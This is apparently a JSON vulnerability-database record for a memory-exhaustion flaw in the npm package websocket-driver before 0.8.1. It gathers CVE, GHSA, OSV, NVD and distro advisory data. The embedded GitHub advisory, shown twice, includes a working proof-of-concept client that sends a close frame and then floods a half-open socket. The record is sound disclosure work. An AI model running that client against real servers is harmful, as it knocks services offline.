{"id":"CVE-2026-140002","aliases":["AZL-117503","AZL-117641","CLSA-2026-1796199359","CLSA-2026-1796206185","CLSA-2026-1796226468","DEBIAN-CVE-2026-140002","DHI-prny-x3ta-xnu5-eobg","EUVD-2026-139725","GHSA-v674-7268-hvqh"],"status":"published","title":"websocket-driver: Memory exhaustion triggered by buffering of data received after socket is closed","description":"websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.1, receiving a WebSocket close frame moves the driver into a state where the parser no longer consumes input, but a half-open TCP client can continue sending bytes that the driver buffers in memory. An unauthenticated remote client can send one close frame, keep its side of the connection open, and stream data indefinitely until the server exhausts memory and crashes. This issue is fixed in version 0.8.1.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-12-04","score":0.00621,"percentile":0.51221,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":true,"poc_reported":true},"cwes":["CWE-770"],"published":"2026-11-30T21:23:55Z","modified":"2026-12-04T16:30:11Z","exploits":[{"source":"pocgithub","id":"googlesky/CVE-2026-140002","title":"googlesky/CVE-2026-140002","date":"2026-12-03","url":"https://github.com/googlesky/CVE-2026-140002"}],"fixes":[{"ecosystem":"npm","package":"websocket-driver","fixed_in":["0.8.1"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"websocket-driver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.8.1"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"js-jquery","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.5.0-4"}]}]},{"source":"osv","ecosystem":"Azure Linux:3","package":"python-tensorboard","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.16.2-6"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"websocket-driver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.7.5-tuxcare.0"},{"fixed":"0.7.5-tuxcare.3"}]}],"versions":["0.7.5","0.7.5-tuxcare.1","0.7.5-tuxcare.2"],"bundled":5},{"source":"osv","ecosystem":"TuxCare:npm","package":"websocket-driver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.7.4-tuxcare.0"},{"fixed":"0.7.4-tuxcare.3"}]}],"versions":["0.7.4","0.7.4-tuxcare.1","0.7.4-tuxcare.2"],"bundled":5},{"source":"osv","ecosystem":"TuxCare:npm","package":"websocket-driver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.6.5-tuxcare.0"},{"fixed":"0.6.5-tuxcare.3"}]}],"versions":["0.6.5","0.6.5-tuxcare.1","0.6.5-tuxcare.2"],"bundled":2},{"source":"osv","ecosystem":"Debian:12","package":"node-websocket-driver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.7.4+~cs0.6.14-1","0.7.4+~cs0.6.7-2","0.7.5+~cs0.6.14-1"]},{"source":"osv","ecosystem":"Debian:13","package":"node-websocket-driver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.7.4+~cs0.6.14-1","0.7.4+~cs0.6.7-2","0.7.5+~cs0.6.14-1"]},{"source":"osv","ecosystem":"Debian:14","package":"node-websocket-driver","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.7.4+~cs0.6.14-1","0.7.4+~cs0.6.7-2","0.7.5+~cs0.6.14-1"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.23","package":"librechat-0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.8.8-r0"}]}],"versions":["0.8.8-r0","0.8.8-r1","0.8.8-r2","0.8.8-r3","0.8.8-r4","0.8.8-r5","0.8.8-r6","0.8.9-r0","0.8.9-r1","0.8.9-r2","0.8.9-r3"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.24","package":"librechat-0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.8.8-r0"}]}],"versions":["0.8.8-r0","0.8.8-r1","0.8.8-r2","0.8.8-r3","0.8.8-r4","0.8.8-r5","0.8.8-r6","0.8.9-r0","0.8.9-r1","0.8.9-r2","0.8.9-r3"]},{"source":"osv","ecosystem":"Docker Hardened Images:Debian:13","package":"librechat-0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.8.8-0"}]}],"versions":["0.8.8-0","0.8.8-1","0.8.8-2","0.8.8-3","0.8.8-4","0.8.8-5","0.8.9-0","0.8.9-1","0.8.9-2","0.8.9-3","0.8.9-4"]},{"source":"osv","ecosystem":"npm","package":"websocket-driver","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.8.1"}]}]}],"products":[{"vendor":"faye","product":"websocket-driver-node"}],"references":[{"url":"https://github.com/faye/websocket-driver-node/security/advisories/GHSA-v674-7268-hvqh","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/faye/websocket-driver-node/commit/189e7b7e75d49e61f2589da995de6e7323db6284","tags":["x_refsource_MISC","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-140002","tags":["web","advisory"]},{"url":"https://github.com/advisories/GHSA-v674-7268-hvqh","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/140xxx/CVE-2026-140002.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-140002","tags":["advisory"]},{"url":"https://scout.docker.com/v/DHI-prny-x3ta-xnu5-eobg","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2026-140002","tags":["advisory"]},{"url":"http://people.ubuntu.com/~ubuntu-security/cve/CVE-2026-140002","tags":["advisory"]},{"url":"https://github.com/faye/websocket-driver-node","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-140002","title":"websocket-driver: Memory exhaustion triggered by buffering of data received after socket is closed","description":"websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.1, receiving a WebSocket close frame moves the driver into a state where the parser no longer consumes input, but a half-open TCP client can continue sending bytes that the driver buffers in memory. An unauthenticated remote client can send one close frame, keep its side of the connection open, and stream data indefinitely until the server exhausts memory and crashes. This issue is fixed in version 0.8.1.","status":"published","published":"2026-11-30T21:23:55.01Z","modified":"2026-12-01T21:44:24.026Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-770"],"ssvc":{"exploitation":"poc","automatable":"yes","technical_impact":"partial","date":"2026-12-01"},"updated_at":"2026-12-01T21:53:52.078785Z"}],"euvd":[{"id":"EUVD-2026-139725","description":"websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.1, receiving a WebSocket close frame moves the driver into a state where the parser no longer consumes input, but a half-open TCP client can continue sending bytes that the driver buffers in memory. An unauthenticated remote client can send one close frame, keep its side of the connection open, and stream data indefinitely until the server exhausts memory and crashes. This issue is fixed in version 0.8.1.","status":"published","published":"2026-11-30T21:23:55Z","modified":"2026-12-01T21:44:24Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-12-01T23:21:11.339571Z"}],"ghsa":[{"id":"GHSA-v674-7268-hvqh","title":"websocket-driver: Memory exhaustion triggered by buffering of data received after socket is closed","description":"### Summary\n\nA WebSocket server implemented using `websocket-driver` can be made to buffer data in memory indefinitely by a client that connects, sends a single close frame, and then leaves its side of the connection open while it continues to send more data over the connection.\n\n### Details\n\nWhen used as documented, a server handles WebSocket connections by piping all bytes received over a TCP socket into the `driver` object provided by this library. On receipt of a WebSocket close frame, the driver emits a `close` event, which the caller should handle by closing the TCP socket. However, since TCP allows sockets to remain half-open, the client can keep its side of the socket open and keep sending data. Due to the state the driver enters after the `close` event, this data will be buffered in memory but never consumed by the parser. An attacker can exploit this by sending an indefinite stream of bytes over the socket until it causes the server to run out of memory.\n\nThis has been mitigated by destroying the buffer when the socket undergoes any failure event, including an explicit close. The buffer is dereferenced and no further data will be added to it, and it should eventually be garbage collected along with the rest of the connection objects.\n\n### Proof of concept\n\nGiven a server accepting WebSocket connections using `websocket-driver`:\n\n```js\nconst net = require(\"net\")\nconst websocket = require(\"websocket-driver\")\n\nconst server = net.createServer((connection) =\u003e {\n  let driver = websocket.server({ maxLength: 1024 })\n\n  driver.on(\"connect\", () =\u003e {\n    if (websocket.isWebSocket(driver)) driver.start()\n  })\n\n  driver.on(\"close\", () =\u003e connection.end())\n  connection.pipe(driver.io).pipe(connection)\n})\n\nserver.listen(5083, \"127.0.0.1\")\n```\n\nA client can connect to this server, send a WebSocket close frame, and then keep sending more data over the same connection, after the server has closed its side of the connection.\n\n```js\nconst net = require(\"net\")\n\nlet socket = net.connect({ port: 5083, host: \"127.0.0.1\", allowHalfOpen: true })\n\nsocket.write(\n  \"GET / HTTP/1.1\\r\\n\" +\n  \"Host: 127.0.0.1\\r\\n\" +\n  \"Connection: Upgrade\\r\\n\" +\n  \"Upgrade: websocket\\r\\n\" +\n  `Sec-WebSocket-Key: ${btoa(\"the sample nonce\")}\\r\\n` +\n  \"Sec-WebSocket-Version: 13\\r\\n\" +\n  \"\\r\\n\"\n)\n\nsocket.once(\"data\", () =\u003e {\n  // masked Close frame, empty payload\n  socket.write(Buffer.from([0x88, 0x80, 0x00, 0x00, 0x00, 0x00]))\n  \n  // send arbitrary data\n  let chunk = Buffer.alloc(2 ** 20)\n  setInterval(() =\u003e socket.write(chunk), 100)\n})\n```\n\nIf this client is left running, the server's memory use will continue to grow indefinitely.\n\n### Impact\n\nA server using `websocket-driver` can be made to run out of memory and crash by an unauthenticated remote attacker by sending sufficient data over a single socket.","status":"published","published":"2026-12-01T19:10:56Z","modified":"2026-12-01T19:11:00Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-770"],"updated_at":"2026-12-01T19:30:53.142897Z"}],"nvd":[{"id":"CVE-2026-140002","description":"websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.1, receiving a WebSocket close frame moves the driver into a state where the parser no longer consumes input, but a half-open TCP client can continue sending bytes that the driver buffers in memory. An unauthenticated remote client can send one close frame, keep its side of the connection open, and stream data indefinitely until the server exhausts memory and crashes. This issue is fixed in version 0.8.1.","status":"published","published":"2026-11-30T22:17:29.68Z","modified":"2026-12-04T15:47:41.367Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-770"],"ssvc":{"exploitation":"poc","automatable":"yes","technical_impact":"partial","date":"2026-12-01"},"updated_at":"2026-12-01T22:24:37.974303Z"}],"osv":[{"id":"CVE-2026-140002","title":"websocket-driver: Memory exhaustion triggered by buffering of data received after socket is closed","description":"websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.1, receiving a WebSocket close frame moves the driver into a state where the parser no longer consumes input, but a half-open TCP client can continue sending bytes that the driver buffers in memory. An unauthenticated remote client can send one close frame, keep its side of the connection open, and stream data indefinitely until the server exhausts memory and crashes. This issue is fixed in version 0.8.1.","status":"published","published":"2026-11-30T21:23:55.01Z","modified":"2026-12-02T20:45:16.595731518Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-770"],"updated_at":"2026-12-01T21:10:07.386688Z"},{"id":"DEBIAN-CVE-2026-140002","upstream":["CVE-2026-140002"],"description":"websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.1, receiving a WebSocket close frame moves the driver into a state where the parser no longer consumes input, but a half-open TCP client can continue sending bytes that the driver buffers in memory. An unauthenticated remote client can send one close frame, keep its side of the connection open, and stream data indefinitely until the server exhausts memory and crashes. This issue is fixed in version 0.8.1.","status":"published","published":"2026-11-30T22:17:29.68Z","modified":"2026-12-03T08:00:09.446471998Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-12-03T08:14:48.000137Z"},{"id":"DHI-prny-x3ta-xnu5-eobg","upstream":["CVE-2026-140002"],"title":"websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.1, receiving a WebSocket…","description":"websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.1, receiving a WebSocket close frame moves the driver into a state where the parser no longer consumes input, but a half-open TCP client can continue sending bytes that the driver buffers in memory. An unauthenticated remote client can send one close frame, keep its side of the connection open, and stream data indefinitely until the server exhausts memory and crashes. This issue is fixed in version 0.8.1.","status":"published","published":"2026-12-01T21:53:49Z","modified":"2026-12-04T07:45:03.369520595Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-12-04T08:03:07.316311Z"},{"id":"GHSA-v674-7268-hvqh","title":"websocket-driver: Memory exhaustion triggered by buffering of data received after socket is closed","description":"### Summary\n\nA WebSocket server implemented using `websocket-driver` can be made to buffer data in memory indefinitely by a client that connects, sends a single close frame, and then leaves its side of the connection open while it continues to send more data over the connection.\n\n### Details\n\nWhen used as documented, a server handles WebSocket connections by piping all bytes received over a TCP socket into the `driver` object provided by this library. On receipt of a WebSocket close frame, the driver emits a `close` event, which the caller should handle by closing the TCP socket. However, since TCP allows sockets to remain half-open, the client can keep its side of the socket open and keep sending data. Due to the state the driver enters after the `close` event, this data will be buffered in memory but never consumed by the parser. An attacker can exploit this by sending an indefinite stream of bytes over the socket until it causes the server to run out of memory.\n\nThis has been mitigated by destroying the buffer when the socket undergoes any failure event, including an explicit close. The buffer is dereferenced and no further data will be added to it, and it should eventually be garbage collected along with the rest of the connection objects.\n\n### Proof of concept\n\nGiven a server accepting WebSocket connections using `websocket-driver`:\n\n```js\nconst net = require(\"net\")\nconst websocket = require(\"websocket-driver\")\n\nconst server = net.createServer((connection) =\u003e {\n  let driver = websocket.server({ maxLength: 1024 })\n\n  driver.on(\"connect\", () =\u003e {\n    if (websocket.isWebSocket(driver)) driver.start()\n  })\n\n  driver.on(\"close\", () =\u003e connection.end())\n  connection.pipe(driver.io).pipe(connection)\n})\n\nserver.listen(5083, \"127.0.0.1\")\n```\n\nA client can connect to this server, send a WebSocket close frame, and then keep sending more data over the same connection, after the server has closed its side of the connection.\n\n```js\nconst net = require(\"net\")\n\nlet socket = net.connect({ port: 5083, host: \"127.0.0.1\", allowHalfOpen: true })\n\nsocket.write(\n  \"GET / HTTP/1.1\\r\\n\" +\n  \"Host: 127.0.0.1\\r\\n\" +\n  \"Connection: Upgrade\\r\\n\" +\n  \"Upgrade: websocket\\r\\n\" +\n  `Sec-WebSocket-Key: ${btoa(\"the sample nonce\")}\\r\\n` +\n  \"Sec-WebSocket-Version: 13\\r\\n\" +\n  \"\\r\\n\"\n)\n\nsocket.once(\"data\", () =\u003e {\n  // masked Close frame, empty payload\n  socket.write(Buffer.from([0x88, 0x80, 0x00, 0x00, 0x00, 0x00]))\n  \n  // send arbitrary data\n  let chunk = Buffer.alloc(2 ** 20)\n  setInterval(() =\u003e socket.write(chunk), 100)\n})\n```\n\nIf this client is left running, the server's memory use will continue to grow indefinitely.\n\n### Impact\n\nA server using `websocket-driver` can be made to run out of memory and crash by an unauthenticated remote attacker by sending sufficient data over a single socket.","status":"published","published":"2026-12-01T19:10:56Z","modified":"2026-12-01T19:15:03.098165286Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-770"],"updated_at":"2026-12-01T19:35:17.719553Z"},{"id":"AZL-117503","upstream":["CVE-2026-140002"],"title":"CVE-2026-140002 affecting package js-jquery 3.5.0-4","description":"websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.1, receiving a WebSocket close frame moves the driver into a state where the parser no longer consumes input, but a half-open TCP client can continue sending bytes that the driver buffers in memory. An unauthenticated remote client can send one close frame, keep its side of the connection open, and stream data indefinitely until the server exhausts memory and crashes. This issue is fixed in version 0.8.1.","status":"published","published":"2026-11-30T22:17:29Z","modified":"2026-12-03T14:17:29.344178471Z","updated_at":"2026-12-03T14:59:42.219217Z"},{"id":"AZL-117641","upstream":["CVE-2026-140002"],"title":"CVE-2026-140002 affecting package python-tensorboard 2.16.2-6","description":"websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.1, receiving a WebSocket close frame moves the driver into a state where the parser no longer consumes input, but a half-open TCP client can continue sending bytes that the driver buffers in memory. An unauthenticated remote client can send one close frame, keep its side of the connection open, and stream data indefinitely until the server exhausts memory and crashes. This issue is fixed in version 0.8.1.","status":"published","published":"2026-11-30T22:17:29Z","modified":"2026-12-03T14:17:43.601898154Z","updated_at":"2026-12-03T14:59:42.219217Z"},{"id":"CLSA-2026-1796199359","upstream":["CVE-2026-140001","CVE-2026-140002","CVE-2026-140003","CVE-2026-140004","CVE-2026-140005"],"title":"TuxCare security update for websocket-driver (5 CVEs)","description":"TuxCare rebuilt websocket-driver to address 5 CVEs. Fixed in 0.7.5-tuxcare.3.","status":"published","published":"2026-12-02T09:16:00Z","modified":"2026-12-04T08:15:19.204575687Z","updated_at":"2026-12-04T08:34:17.918856Z"},{"id":"CLSA-2026-1796206185","upstream":["CVE-2026-140001","CVE-2026-140002","CVE-2026-140003","CVE-2026-140004","CVE-2026-140005"],"title":"TuxCare security update for websocket-driver (5 CVEs)","description":"TuxCare rebuilt websocket-driver to address 5 CVEs. Fixed in 0.7.4-tuxcare.3.","status":"published","published":"2026-12-02T11:09:46Z","modified":"2026-12-04T16:30:11.574875224Z","updated_at":"2026-12-04T16:47:54.354282Z"},{"id":"CLSA-2026-1796226468","upstream":["CVE-2026-140001","CVE-2026-140002"],"title":"TuxCare security update for websocket-driver (2 CVEs)","description":"TuxCare rebuilt websocket-driver to address 2 CVEs. Fixed in 0.6.5-tuxcare.3.","status":"published","published":"2026-12-02T16:47:49Z","modified":"2026-12-03T12:15:06.857807694Z","updated_at":"2026-12-03T12:23:46.433517Z"}]}}
